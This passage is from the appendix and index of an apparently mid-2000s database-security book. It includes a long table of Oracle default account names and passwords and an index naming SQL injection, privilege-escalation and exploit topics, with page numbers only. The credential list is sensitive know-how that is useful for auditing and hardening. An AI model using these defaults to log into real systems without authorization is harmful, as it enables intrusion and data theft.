The OLE automation stored procedures provide access to the Component
Object Model (COM), which grants Visual Basic functionality to T-SQL scripts
...
xp_dsninfo: Displays an ODBC datasource’s settings
...
sp_OACreate: Used to instantiate an OLE object
...
sp_OADestroy: Used to destroy an OLE object
...
sp_OAGetProperty: Gets the value of a property in the OLE object
...
These are routines
that perform a certain function
...
sp_OAStop: Stops the OLE automation environment, and disables
T-SQL access to COM components
...
41_578014 appc
...
Table C-1 Oracle Default Usernames and Passwords
USERNAME
PASSWORD
!DEMO_USER
!DEMO_USER
A
A
ABM
ABM
ACCORTO
ACCORTO
ADAMS
WOOD
ADLDEMO
ADLDEMO
ADMIN
JETSPEED
ADMIN
WELCOME
ADMINISTRATOR
ADMIN
ADMINISTRATOR
ADMINISTRATOR
AHL
AHL
(continued)
447
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 449
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
ASG
ASG
ASL
ASL
ASO
ASO
ASP
ASP
AST
AST
ATM
SAMPLEATM
AUDIOUSER
AUDIOUSER
AURORA$JIS$UTILITY$
AURORA$JIS$UTILITY$
INVALID
AURORA$ORB$UNAUTHENTICATED
INVALID
AX
AX
AZ
AZ
BARCODE
BARCODE1
BARCODE1
TESTER
BARCODE2
TESTER2
BC4J
BC4J
BEN
BEN
BIC
BIC
BIL
BIL
BIM
BIM
BIS
BIS
BIV
BIV
BIX
BIX
BLAKE
PAPER
BLEWIS
BLEWIS
BOLADM
BOLADM
BOM
BOM
BRIOADMIN
BRIOADMIN
BRUGERNAVN
ADGANGSKODE
(continued)
449
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 451
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
COMPANY
COMPANY
COMPIERE
COMPIERE
CQSCHEMAUSER
PASSWORD
CQUSERDBUSER
PASSWORD
CRP
CRP
CS
CS
CSC
CSC
CSD
CSD
CSE
CSE
CSF
CSF
CSI
CSI
CSL
CSL
CSMIG
CSMIG
CSP
CSP
CSR
CSR
CSS
CSS
CTXDEMO
CTXDEMO
CTXSYS
CTXSYS
CTXSYS
CHANGE_ON_INSTALL
CUA
CUA
CUE
CUE
CUF
CUF
CUG
CUG
CUI
CUI
CUN
CUN
CUP
CUP
CUS
CUS
CZ
CZ
CYCTEST
CYCTEST
(continued)
451
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 453
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
EJSADMIN
EJSADMIN_PASSWORD
ELAN
ELAN
EMP
EMP
ENG
ENG
ENI
ENI
ESSBASE
MYPASSWORD
ESTOREUSER
ESTORE
EVENT
EVENT
EVM
EVM
EXAMPLE
EXAMPLE
EXAMP
EXAMP
EXFSYS
EXFSYS
EXTDEMO
EXTDEMO
EXTDEMO2
EXTDEMO2
FA
FA
FEEDBACK
FEEDBACK
FEM
FEM
FGA_SECURITY
FGA_SECURITY
FII
FII
FINANCE
FINANCE
FINPROD
FINPROD
FLM
FLM
FND
FND
FOO
BAR
FPT
FPT
FRM
FRM
FROSTY
SNOWMAN
FTE
FTE
FV
FV
(continued)
453
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 455
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
IBY
IBY
ICDBOWN
ICDBOWN
ICX
ICX
IDEMO_USER
IDEMO_USER
IEB
IEB
IEC
IEC
IEM
IEM
IEO
IEO
IES
IES
IEU
IEU
IEX
IEX
IFSSYS
IFSSYS
IGC
IGC
IGF
IGF
IGI
IGI
IGS
IGS
IGW
IGW
IMAGEUSER
IMAGEUSER
IMC
IMC
IMT
IMT
IMEDIA
IMEDIA
INTERNAL
ORACLE
INTERNAL
SYS_STNT
INV
INV
IPA
IPA
IPD
IPD
IPLANET
IPLANET
ISC
ISC
ITG
ITG
(continued)
455
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 457
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
MDSYS
MDSYS
ME
ME
MFG
MFG
MGR
MGR
MGWUSER
MGWUSER
MHSYS
MHSYS
MIGRATE
MIGRATE
MILLER
MILLER
MJONES
TY3MU9
MMO2
MMO2
MMO2
MMO3
MODTEST
YES
MOREAU
MOREAU
MORGAN
MORGAN
MOTEUR
MOTEUR
MRP
MRP
MSC
MSC
MSD
MSD
MSO
MSO
MSR
MSR
MTS_USER
MTS_PASSWORD
MTSSYS
MTSSYS
MUSICAPP
MUSICAPP
MWA
MWA
MYUSER
MYPASSWORD
MXAGENT
MXAGENT
MZ
MZ
NAMES
NAMES
NEOTIX_SYS
NEOTIX_SYS
(continued)
457
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 459
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
OLAPSYS
OLAPSYS
OMAIL
OMAIL
OMWB_EMULATION
ORACLE
ONT
ONT
OO
OO
OPENSPIRIT
OPENSPIRIT
OPI
OPI
ORACACHE
ORACACHE
ORACLE
ORACLE
ORACLEUSER
ORACLEPASS
ORADBA
ORADBAPASS
ORAPROBE
ORAPROBE
ORAREGSYS
ORAREGSYS
ORASSO
ORASSO
ORASSO_DS
ORASSO_DS
ORASSO_PA
ORASSO_PA
ORASSO_PS
ORASSO_PS
ORASSO_PUBLIC
ORASSO_PUBLIC
ORASTAT
ORASTAT
ORCLADMIN
WELCOME
ORDCOMMON
ORDCOMMON
ORDPLUGINS
ORDPLUGINS
ORDSYS
ORDSYS
OSE$HTTP$ADMIN
INVALID
OSM
OSM
OSP22
OSP22
OTA
OTA
OUTLN
OUTLN
OWA
OWA
(continued)
459
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 461
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
PO8
PO8
POA
POA
POM
POM
PORT5
5PORT
PORTAL_DEMO
PORTAL_DEMO
PORTAL_SSO_PS
PORTAL_SSO_PS
PORTAL30
PORTAL30
PORTAL30
PORTAL31
PORTAL30_ADMIN
PORTAL30_ADMIN
PORTAL30_DEMO
PORTAL30_DEMO
PORTAL30_PS
PORTAL30_PS
PORTAL30_PUBLIC
PORTAL30_PUBLIC
PORTAL30_SSO
PORTAL30_SSO
PORTAL30_SSO_ADMIN
PORTAL30_SSO_ADMIN
PORTAL30_SSO_PS
PORTAL30_SSO_PS
PORTAL30_SSO_PUBLIC
PORTAL30_SSO_PUBLIC
POS
POS
POWERCARTUSER
POWERCARTUSER
PPB
PPB
PRIMARY
PRIMARY
PSA
PSA
PSB
PSB
PSP
PSP
PUBSUB
PUBSUB
PUBSUB1
PUBSUB1
PV
PV
PZNADMIN
PZNADMIN_PASSWORD
QA
QA
QDBA
QDBA
(continued)
461
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 463
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
REPADMIN
REPADMIN
RESOURCE_OLTP1
MANAGER
RESOURCE_BATCH1
MANAGER
RESOURCE_OLTCP_BATCH1
MANAGER
RG
RG
RHX
RHX
RLA
RLA
RLM
RLM
RMAIL
RMAIL
RMAN
RMAN
RMANCAT
RMANCAT
RRS
RRS
SAMPLE
SAMPLE
SAP
SAPR3
SAP
06071992
SAPR3
SAP
SCOTT
TIGER
SCOTT
TIGGER
SDOS_ICSAP
SDOS_ICSAP
SECDEMO
SECDEMO
SECUSR
SECUSR
SERVICECONSUMER1
SERVICECONSUMER1
SH
SH
SH
CHANGE_ON_INSTALL
SI_INFORMTN_SCHEMA
SI_INFORMTN_SCHEMA
SITEMINDER
SITEMINDER
SLIDE
SLIDEPW
SMB
SMB
SP_ELAN
SP_ELAN
(continued)
463
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 465
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
SYSTEM
0RACL38I
SYSTEM
SYSTEM
SYSTEM
SYSTEMPASS
SYS
CHANGE_ON_INSTALL
SYS
D_SYSPW
SYS
MANAG3R
SYS
MANAGER
SYS
0RACL3
SYS
ORACL3
SYS
ORACLE
SYS
ORACLE8
SYS
ORACLE8I
SYS
ORACLE9
SYS
ORACLE9I
SYS
0RACLE8
SYS
0RACLE9
SYS
0RACLE9I
SYS
0RACLE8I
SYS
0RACL38
SYS
0RACL39
SYS
0RACL38I
SYS
SYS
SYS
SYSPASS
TAHITI
TAHITI
TALBOT
MT6CH5
TBASE
TBASE
TEST
TEST
TEST_IT
TEST_IT
TEST_USER
TEST_USER
(continued)
465
41_578014 appc
...
qxd
6/3/05
7:11 PM
Page 467
Oracle Default Usernames and Passwords
Table C-1 (continued)
USERNAME
PASSWORD
USER4
USER4
USER5
USER5
USER6
USER6
USER8
USER8
USER9
USER9
USUARIO
CLAVE
UTLBSTATU
UTLESTAT
UTILITY
UTILITY
VEA
VEA
VEH
VEH
VERTEX_LOGIN
VERTEX_LOGIN
VIDEOUSER
VIDEO USER
VIDEOUSER
VIDEOUSER
VIF_DEVELOPER
VIF_DEV_PWD
VIRUSER
VIRUSER
VPD
VPD
VPD_ADMIN
AKF7D98S2
VRR1
VRR1
VRR1
VRR2
WEBCAL01
WEBCAL01
WEBDB
WEBDB
WEBREAD
WEBREAD
WEBSYS
MANAGER
WEBUSER
YOUR_PASS
WEST
WEST
WFADM
WFADM
WFADMIN
WFADMIN
WH
WH
WIP
WIP
(continued)
467
41_578014 appc
...
qxd
6/3/05
7:04 PM
Page 469
Index
SYMBOLS AND NUMERICS
@@version variable (Sybase), 217–218
|| (double pipe) with Windows
Command Interpreter, 43
“ (double quotes) for SQL injection
(Sybase), 220
# (hash mark) in #NISR
...
qxd
470
6/3/05
7:04 PM
Page 470
Index
accounts (Oracle) (continued)
default usernames and passwords,
447–469
enabling user account lockout, 92
for Intelligent Agent, 32
MDSYS, 49, 68–70
new account creation, 90
OS account authentication, 32
password policy for, 90–91
principle of least privilege, 92
roles for user accounts, 91–93
security recommendations, 89–91
SYS, 33, 48, 69
unused, locking and expiring, 90
accounts (SQL Server)
brute-forcing usernames and
passwords, 339–340
built-in server roles, 348–349
common accounts, 348
created during installation, 348
disabling guest account, 379–380
fixed database roles, 349
PUBLIC role, 349, 380
stored in sysxlogins table, 347
accounts (Sybase)
adding new users, 204
enabling lockout, 248
running with low-privileged
account, 247–248
sa account, removing privileges from
default, 249
sysusers table for, 204
ACCRDB command (DB2)
in code for user authentication,
113–114
in packets, 102, 104
ACCSEC command (DB2)
in code for user authentication, 112
in packets, 102, 104
Active Server Pages (ASP), SQL injection in SQL Server and, 358–361
Adaptive Server Enterprise
...
), 336
application roles (SQL Server), 349, 352
applications, “instrumenting,” 14–15
arbitrary code execution
in intrinsic SQL elements, 9–10, 15
in securable SQL elements, 10–11, 15
ARGUMENT$ table (Oracle), 51–53
ARP spoofing (PostgreSQL), 406
ASCII, mapping EBCDIC to, 105–106
ASP (Active Server Pages), SQL injection in SQL Server and, 358–361
@@version variable (Sybase), 217–218
atoi() function (SQL Server), 357
attack surface, functionality and,
5, 19, 99
auditing
attacking systems and, 37
authenticated users, 7
DBA role (Oracle), 93
enabling (Informix), 190
enabling (Sybase), 250–251
evading with sp_password (Sybase),
220
listing audited tables (Oracle), 37
MySQL routine audit, 319, 326–328
42_578014 bindex
...
23
...
1,
260
default configuration, 258–259
hash authentication patch, 307–309
one-bit patch altering remote mechanism, 302–303
proprietary protocol, 259–260
protocol flaws, 8, 260–262, 272
protocol for remote authentications,
302
snooping, 280–281
authentication (Oracle)
of database accounts, 32, 34–37
of OS accounts, 32
remote, turning off, 92
authentication (PostgreSQL)
connection types, 392–393
crypt method, 394
ident method, 393, 395–396
krb4 and krb5 methods, 394
md5 method, 394
pam method, 394
password method, 393–394, 396
pg_hba
...
qxd
472
6/3/05
7:04 PM
Page 472
Index
authorization (Oracle), 35
authorization (SQL Server), 336
AUTONOMOUS_TRANSACTION
pragma (Oracle), 59–60
Azubel, Agustin (hacker), 8
B
Baseline Security Analyzer (Microsoft),
383
batched queries
...
1386, 4
CALL command overflow (DB2), 10,
137
CAN-1999-0862, 410
CAN-2000-1081, 10
CAN-2000-1082, 10
CAN-2000-1083, 10
CAN-2000-1084, 10
CAN-2000-1085, 10
CAN-2000-1086, 10
CAN-2000-1087, 10
CAN-2000-1088, 10
CAN-2000-1199, 410
CAN-2001-1255, 292, 304
CAN-2001-1274, 292
CAN-2001-1275, 292
CAN-2002-0641, 10
CAN-2002-0649, 6
CAN-2002-0928, 12
CAN-2002-0969, 292
CAN-2002-0972, 410
CAN-2002-1123, 6
CAN-2002-1373, 292
CAN-2002-1374, 292, 293
CAN-2002-1375, 291
CAN-2002-1376, 291
CAN-2002-1397, 410
CAN-2002-1398, 410
CAN-2002-1399, 410
CAN-2002-1400, 410
CAN-2002-1401, 411
CAN-2002-1402, 411
CAN-2003-0073, 291
CAN-2003-0095, 6, 14
CAN-2003-0150, 13, 288, 291
CAN-2003-0222, 10
CAN-2003-0327, 227
CAN-2003-0634, 6
CAN-2003-0780, 291
CAN-2003-0901, 411
CAN-2004-0381, 290, 304
CAN-2004-0388, 290, 304
CAN-2004-0457, 290
CAN-2004-0547, 411
CAN-2004-0627, 8, 290, 293–297
CAN-2004-0628, 290
CAN-2004-0795, 7
CAN-2004-0835, 290
CAN-2004-0836, 290
CAN-2004-0837, 290
CAN-2004-0956, 290
CAN-2004-0977, 411
CAN-2004-1363, 6
CAN-2004-1365, 9
CAN-2004-1370, 11
CAN-2005-0227, 12
cash_words() function overflow
(PostgreSQL), 413–415
Cerrudo, Cesar (whitepaper author),
362
CHANGE_USER command bug
(MySQL), 261
CHAR function to bypass quote filters
(Sybase), 219–220
CheckReg() function with PL/SQL
(Oracle), 76
check_scramble function (MySQL),
261–262, 302–303
“Choosing an Edition of SQL Server
2000,” 332
42_578014 bindex
...
See plaintext
CLIENT authentication type (DB2), 110
clients
connecting to remote system (DB2),
107–108
implementing your own, 14
JSQL TDS client (Sybase), 238–241
overflows (SQL Server), 357–358
Client-Server applications (Sybase),
199–200
code execution, arbitrary
in intrinsic SQL elements, 9–10, 15
in securable SQL elements, 10–11, 15
columns_priv table (MySQL), 270, 271
comments, SQL injection using
PostgreSQL, 420–421
SQL Server, 360–362
Sybase, 216
Common Vulnerabilities and
Exposures database, 409
communication protocols, 15
Communication Support Module
(CSM) in Informix, 167
Connect privilege (Informix), 163, 190
CONNECT role (Oracle), 91–92
CONNECTAUTH authority (DB2), 120
CONTROLAUTH authority (DB2), 121
COPY command vulnerabilities
(PostgreSQL), 425–427
CREATE DATABASE LINK statement
overflow (Oracle), 10
CREATE FUNCTION mechanism
(MySQL), 273
CREATE LIBRARY system privilege
(Oracle), 36
CREATE ROLE statement (Oracle), 91
CREATE WRAPPER command
overflow (DB2), 137
CREATE_JOB procedure, running OS
commands with (Oracle), 78
CREATETABAUTH authority (DB2),
120
CSM (Communication Support
Module) in Informix, 167
CTXSYS account (Oracle), 49
current_database function
(PostgreSQL), 422
current_setting function (PostgreSQL),
421
current_time function (PostgreSQL),
422
current_timestamp function
(PostgreSQL), 422
current_user function (PostgreSQL),
421
CVE-1999-1188, 293, 304
CVE-2000-0045, 293
CVE-2000-0148, 8, 293
CVE-2000-0981, 8, 293
CVE-2001-0407, 292
CVE-2001-0524, 9
CVE-2002-0567, 9
CVE-2002-0624, 9
CVE-2002-0802, 410
D
DAS (Database Administration
Server) in DB2
code for finding servers, 125–128
disabling, 155
473
42_578014 bindex
...
See DSS in DB2
Data Transformation Services (DTS) in
SQL Server, 352–353, 380
Database Administration Server
...
qxd
6/3/05
7:04 PM
Page 475
Index
packets, 100–106
physical database layout, 108–109
ports listened on, 106, 125
processes, 106–107
PUBLIC access and, 121, 122, 136,
154–155
relative security of, 4–5
Remote Command Server, 139–141,
155
removing unnecessary components,
155
response file from installation and,
152
revoking PUBLIC access, 154–155
running OS commands through,
141–142
schemas, 109
SECCHK command, 102, 104, 112–113
SECCHK DDM command, 111
securing the DBMS, 154–155
securing the network interface, 154
securing the OS, 153–154
security alerts published for, 4–5
Security Check Code (SECCHKCD),
111
terminology, 106
unauthenticated flaws in network
protocols, 6
versions, 99
on Windows, 108–109
XML* functions, 135–136, 143
db2admin account, 110
db2as account, 110
DB2CTLSV instance, 106, 108
db2dasdiag
...
dll, 129
db2dasGetDasLevel function, 129
DB2DASRRM process, 106–107
db2diag
...
EXE, 139–141
DB2REMOTECMD named pipe,
7, 140–141
db2start binary, Snosoft advisory for,
144
db2stop binary, Snosoft advisory for,
144
DB2SYSCS process, 106–107
DBWR (Database Writer) process
(Oracle), 26
DDM (Distributed Data Management),
102, 104
debugging to understand your system,
14–15
decrypting SQL Server procedures,
343
default databases (Informix), 160
default password hashing
(PostgreSQL), 399
defaults (DB2)
authentication type, 110
instances (DB2), 106
OS accounts and passwords, 110
passwords, eliminating, 154
defaults (MySQL)
system schema, 263
test database, removing, 326
usernames and passwords, 258–259
defaults (Oracle)
accounts and passwords, 48–49
changing for passwords, 90
CONNECT role, 91–92
CREATE DATABASE LINK
privilege, 10
Intelligent Agent ports, 27
Intelligent Agent user account and
password, 32
SYS login password, 33, 48
SYSTEM account password, 33, 49
TNS Listener ports, 21
usernames and passwords, 447–469
475
42_578014 bindex
...
VALIDATE_STMT
procedure (Oracle)
Oracle Application Server and, 73–74
SQL injection flaw, 11, 68
DROP DATABASE overflow (Sybase),
227
dSQLSRVD tool, 343
DSS (Data Stream Structures) in DB2
code for user authentication, 111–119
DDMID, 104
header, 104
overview, 102
packet example, 102–103
DTS (Data Transformation Services) in
SQL Server, 352–353, 380
DTS Designer (SQL Server), 353
dumpbin tool, 441–442
dumping
dumpbin tool (SQL Server), 441–442
Intelligent Agent information
(Oracle), 27–32
packet dump (Informix), 166–167
packet dump of authentication
process (SQL Server), 337–338
reading dump files via SQL queries
(Informix), 178–180
shared memory dumps upon crashing (Informix), 178–180, 190–191
tcpdump packet capture software,
334
42_578014 bindex
...
1, 260
for network traffic (Informix), 189
for network traffic (Oracle), 89
of passwords for external servers
(Sybase), 220–221
of passwords (SQL Server), 350–354
for PL/SQL procedures and
functions, 51
Enterprise Manager tool (Oracle), 27
environment variables
DB2LPORT environment variable, 149
expansion and buffer overruns
(Oracle), 77–78
SQLDEBUG (Informix), 186–187
error messages
...
qxd
478
6/3/05
7:04 PM
Page 478
Index
extended stored procedures (Sybase)
(continued)
SQL injection using xp_cmdshell,
218–219
extensions via shared objects
(PostgreSQL), 428–429
external procedures
...
See also scanning ports
DBSNMP account (Oracle), 27
DB2 on the network, 125–128
SQL Server servers, 334–336, 340
finding flaws in your server
basic principles and techniques, 14
identifying communication
protocols, 15
implementing your own client, 14
not believing the documentation, 14
understanding arbitrary code
execution bugs, 15
understanding your system, 14–15
writing your own fuzzers, 15–16
firewalls
bypassing with TCP reverse proxy
(Sybase), 241
for MySQL servers, 320
for PostgreSQL, 435
Sybase and, 202–203
fixpaks (DB2), 139, 155
FreeTDS project, 203, 334
FROM_TZ function overflow
(Oracle), 10
functionality, attack surface and,
5, 19, 99
functions (DB2)
...
qxd
6/3/05
7:04 PM
Page 479
Index
H
hash mark (#) in #NISR
...
See DB2 Universal Database;
Informix
ICAT Metabase, 247, 280, 289, 320
IDA Pro utility (DataRescue), 371
ident spoofing (PostgreSQL), 407–408
identd daemons (PostgreSQL), 408
IDS (Intrusion Detection System), 6–7
IMPLSCHEMAAUTH authority
(DB2), 121
“Improving the Security of Your Site
by Breaking into It” (Farmer, Dan
and Venema, Wietse), 16
INDEXAUTH authority (DB2), 122
inet_client_addr() function
(PostgreSQL), 422
inet_client_port() function
(PostgreSQL), 422
inet_server_addr() function
(PostgreSQL), 422
inet_server_port() function
(PostgreSQL), 422
Informix (IBM)
attacking with SPL, 180–185
AUTH tables, 162
authentication, 163, 174–175
authorization, 163–164
binaries with setuid bit set, 186
buffer overflow for long usernames,
174
code for connecting to arbitrary
server, 167–173
code to function mappings, 176–177
connecting to remote server, 160
creating highly privileged accounts,
184
default databases, 160
discovering server instance name, 160
documents, 191
enabling auditing, 190
encrypting network traffic, 189
listing all databases, 161
listing database tables, 161
loading a nefarious DLL with SPL,
182–184
loading arbitrary libraries with SPL,
185
local attacks on Unix-based
platforms, 186–188, 191
logical database layout, 160–163
metatables, 161–162
on the network, 159–160
packet dump, 166–167
patches, 189
ports, 165
post-authentication attacks, 176–177
reading and writing arbitrary files,
185
reading dump files via SQL queries,
178–180
relative security of, 4–5
response to failed authentication, 175
response to successful authentication,
174–175
restricting language usage, 191
revoking connect privilege from
public, 190
revoking public execute permissions,
190
running arbitrary commands with
SPL, 181–185
scanning for servers, 165
security alerts published for, 4
SET DEBUG FILE SQL command,
184–185
shared memory dumps upon
crashing, 178–180, 190–191
479
42_578014 bindex
...
See PL/SQL injection
(Oracle); SQL injection entries
InnoDB storage engine (MySQL),
264, 265
INSERT statements, PL/SQL injection
using (Oracle), 60–62, 70–71
INSERTAUTH authority (DB2), 122
installing SQL Server securely
authentication, 375–377
OS lockdown, 377–378
password strength, 377
post-installation lockdown, 378–379
instances (DB2), 106
“instrumenting” applications, 14–15
“integer conversion” trick for SQL
injection (Sybase), 216–218
integer overflows (PostgreSQL),
415–416
Intelligent Agent (Oracle)
agentctl utility for, 27
DBSNMP account, 27, 32, 36, 49
dumping information from, 27–32
emagent, 27
functions of, 27
ports, 27
user account and password for
RDBMS, 32
internal_encrypt function (Sybase), 221
Internet resources
...
exe program (SQL Server),
342, 378
Metasploit Framework, 333
Microsoft EFS, 377
multibyte character conversion
vulnerability (PostgreSQL), 425
MySQL known bugs, 280
MySQL security information,
317, 319–320
MySQL updates, 317, 320
MySQL with SSH information, 257
netcat listener, 356
Oracle TNS Listener buffer overflow
vulnerabilities, 43
Oracle TNS protocol information, 20
packet capture software, 334
patch management solutions, 383
PostgreSQL fix information, 435
PostgreSQL hardening information,
434
PostgreSQL protocol information,
405
RegMon utility, 351
SQL injection information, 282–283
SQL injection whitepapers (SQL
Server), 362
SQL Server Agent password
decryption tool, 352
SQL Server Enterprise Manager,
357–358
42_578014 bindex
...
exe program (SQL Server),
342, 378
Kornbrust, Alexander (hacker), 11
L
LC_TYPE overflow (DB2), 7
LDAP, scanning for Sybase and, 210
legislative burdens for security, 3–4
LGWR (Log Writer) process
(Oracle), 26
libpq library (PostgreSQL), 425
library privileges (Oracle), 36
linked servers, weakly encrypted
passwords for (Sybase), 220–221
Linux platforms
...
qxd
482
6/3/05
7:04 PM
Page 482
Index
Listener Control Utility (lsnrctl) in
Oracle (continued)
status command, 42
version command, 40–41
Litchfield, David
DB2 issues discovered by, 6, 7
Oracle issues discovered by, 6, 9, 10,
11, 14
SQL Server issues discovered by,
6, 12, 333
Litchfield, Mark
Oracle issues discovered by, 6, 10, 48
SQL Server issue discovered by, 10
LOAD command overflow (DB2),
136–137
LOAD command vulnerabilities
(PostgreSQL), 429–432
LOAD DATA INFILE statement
(MySQL)
disabling, 325
SQL injection using, 287
LOAD SQL query (DB2), 142
LOADAUTH authority (DB2),
121, 142
LOAD_FILE function, SQL injection
using (MySQL), 285–287
local attacks against DB2
binaries with setuid bit set, 143–144
buffer overflow in shared object,
149–152
*nix platforms and, 143
setuid bit and, 143
Snosoft advisory, 144
unsafe call to printf() example,
145–149
local attacks against Informix,
186–188, 191
local attacks against MySQL, 304–305
local privilege elevation issues, 12–13
...
See Listener Control
Utility in Oracle
M
magic_quotes_gpc setting (PHP), 283
mailing lists, 320, 435
man-in-the-middle attacks (Sybase),
211
MDSYS account (Oracle)
default password, 49
PL/SQL injection and triggers, 68–70
Memory storage engine (MySQL), 264
Merge storage engine (MySQL), 264
Metasploit Framework, 333
metatables (Informix), 161–162
Microsoft Baseline Security Analyzer,
383
Microsoft Data Engine (MSDE), 4, 332,
333
Microsoft EFS (Encrypting File
System), 377
Microsoft Message Queue Server
(MSMQ), 342
Microsoft Query Analyzer, 370
Microsoft Security Bulletins
MS00-035, 378
MS00-048, 346
MS02-043, 367
MS02-056, 333
MS03-031, 366
MS03-033, 358
MS99-059, 334
42_578014 bindex
...
See SQL Server
MSDE (Microsoft Data Engine), 4, 332,
333
MSMQ (Microsoft Message Queue
Server), 342
multibyte character conversion
vulnerability (PostgreSQL), 425
my
...
mysql_history file, 322
columns_priv table, 270, 271
configuration security, 319, 324–326
db table, 269–270
default system schema, 263
default usernames and passwords,
258–259
deployment scenarios, 256–257
disabling TCP/IP connections
(if local only), 325
disabling unnecessary services or
daemons, 322
disallowing symbolic links, 325–326
encrypting traffic, 326
exploit code for CAN-2004-0627,
293–297
exploiting architectural design flaws,
272–278
extracting data using time delays,
288–289
file-per-table approach, 263–264
file_priv privilege, 285–286
filesystem layout, 265, 305
finding targets, 279–281
firewalls, 320
getting to root account, 258–259
hosts table, 270
known bugs and fixes, 289–297
licensing, 255
limiting file access, 321
LOAD DATA INFILE statement,
287, 325
local attacks against, 304–305
local privilege elevation issues, 12, 13
logging, 324–325, 326–327
logical database architecture, 263–272
mailing lists, 320
missing features that improve
security, 278
missing features with security
impact, 276–278
one-bit patch (Trojan), 302–303
OS security, 318, 320–322
packet format, 259–260
as password cracking engine, 301
physical database architecture,
255–262
plaintext credentials, 258, 321–322
platforms supported, 255–256
popularity of, 255
ports, 279
principle of least privilege, 324
privilege model, 266–272
proprietary protocol, 259–260
query batching, 265–266
querying invalid users, 298–300
referential integrity not enforced in,
276–277
relative security of, 4–5
removing non-root users, 322
renaming root account, 322
REQUIRE SSL for remote
connections, 323
restricting users by IP address,
323–324
root account protection, 259
routine audit, 319, 326–328
running external programs on Linux,
309–311
running external programs on
Windows, 311–315
483
42_578014 bindex
...
1, 278
symbolic link syntax, 265
tables_priv table, 270–271
test database, removing, 326
transactional support not default in,
277–278
Trojanning, 297–303
UNION statement lacking prior to
4
...
Spybot
...
worm
...
j worm,
259, 309
mysqlbug script, 304
mysqld_multi script, 304
...
See Unix-based
platforms
nMap port scanning tool (Fyoder), 209
NOFENCEAUTH authority (DB2), 120
NUMTOSTDINTERVAL function
overflow (Oracle), 10
NUMTOYMINTERVAL function
overflow (Oracle), 10
O
object privileges (Informix), 164
object privileges (Oracle), 35
ODBC (Open Database Connectivity)
in Client-Server applications
(Sybase), 199
driver overflow (PostgreSQL),
416–417
OPENROWSET re-authentication
(SQL Server), 339–340
password obfuscation algorithm, 352
scanning for Sybase and, 210
OLE automation stored procedures
(SQL Server), 446
one-bit patch Trojan (MySQL),
302–303
Open Database Connectivity
...
qxd
6/3/05
7:04 PM
Page 485
Index
described, 339
finding servers using, 340
port scanning using, 273, 367
reading files using, 340
OpenSSL vulnerabilities (PostgreSQL),
417–418
Oracle
account security, 89–91
arbitrary code execution in intrinsic
SQL elements, 10
arbitrary code execution in securable
SQL elements, 10
auditing, 36, 94
authorization, 35
buffer overflow for wrapped procedures, 53
creating new database, 95
database account authentication,
32, 34–37
database links, 81–82
DBA privileged accounts, 33–34,
57–59, 93–95
default accounts and passwords,
48–49
default usernames and passwords,
447–469
executing user-supplied queries with
DBMS_SQL, 65–68
file system access, 79–81
functionality, risks from, 19
injecting into anonymous PL/SQL
blocks, 62–65
injecting into DELETE statements, 60
injecting into INSERT statements,
60–62
injecting into UPDATE statements,
60, 62
installing new database, 95
Intelligent Agent, 27–32
Java and, 78–79, 80–81
learning SIDs for services, 41, 42, 43
listing DBA privileged accounts,
33–34
network access, 81–82
object privileges, 35
OS account authentication, 32
passwords stored in SYS
...
qxd
486
6/3/05
7:04 PM
Page 486
Index
ORACLE account password
(Oracle), 49
Oracle Application Server, PL/SQL
and, 71–74
oracle
...
USER$ table,
54–56, 57–58
one-bit patch altering authentication,
302–303
policy for, 90–91
resetting for ANONYMOUS user, 61
setting for TNS Listener, 87–88
stored in SYS
...
exe program, 342, 378
42_578014 bindex
...
conf file (PostgreSQL)
authentication method token,
393–394
connection type tokens, 392–393
database token, 393
record forms, 392
secure deployment, 433
startup packet and, 405
username token, 393
pg_language catalog (PostgreSQL),
397, 398, 400
pg_largeobject catalog (PostgreSQL),
397, 398, 427–428
pg_proc catalog (PostgreSQL),
397, 398, 400–401
pg_shadow catalog (PostgreSQL),
397, 398, 399
pg_trigger catalog (PostgreSQL),
397, 398
PHP
magic_quotes_gpc setting, 283
MyPHP UDF (MySQL), 303
SQL injection example (PostgreSQL),
418–420
plaintext
authentication mechanisms, 8
Informix password issues, 167, 203,
211
MySQL credentials, 258, 321–322
SQL Server passwords saved in,
342, 378
storing PostgreSQL passwords in,
399–400
PL/SQL (Procedural Language/SQL)
in Oracle
...
qxd
488
6/3/05
7:04 PM
Page 488
Index
PL/SQL (Procedural Language/SQL)
in Oracle (continued)
file system access, 79–80
“Hello, world!” program example,
49–50
listing available procedures and
functions and their parameters,
51–53
network access, 81, 82–85
Oracle Application Server and, 71–74
overview, 49–53
PlsqlExclusionList, 72–73
procedures versus functions, 50
running OS commands with, 76–78
security recommendations, 93–94
TCP port scanner, 83–84
Toolkit for web applications, 72
UTL_FILE package, 79–80
UTL_HTTP package, 84
UTL_SMTP package, 85
UTL_TCP package, 82–84
PL/SQL injection (Oracle)
...
VALIDATE_STMT
procedure, 11, 68
inheriting SYS privileges, 56
into INSERT statements, 60–62,
70–71
listing users with DBA role, 57–59
output buffering and, 58–59
privilege elevation via, 53–54
into SELECT statements, 54–60
into UPDATE statements, 60, 62
of user-supplied queries with
DBMS_SQL, 65–68
using AUTONOMOUS_
TRANSACTION pragma, 59–60
into WK_ACL
...
COMPLETE_
ACL_SNAPSHOT procedure,
11, 62
PlsqlExclusionList (Oracle), 72–73
PMON (Process Monitor) process
(Oracle), 26
ports
changing default for SQL Server, 335
for common Oracle processes, 39–40
for DAS listening (DB2), 106, 125
for DB2 instances, 106
for Informix processes, 165
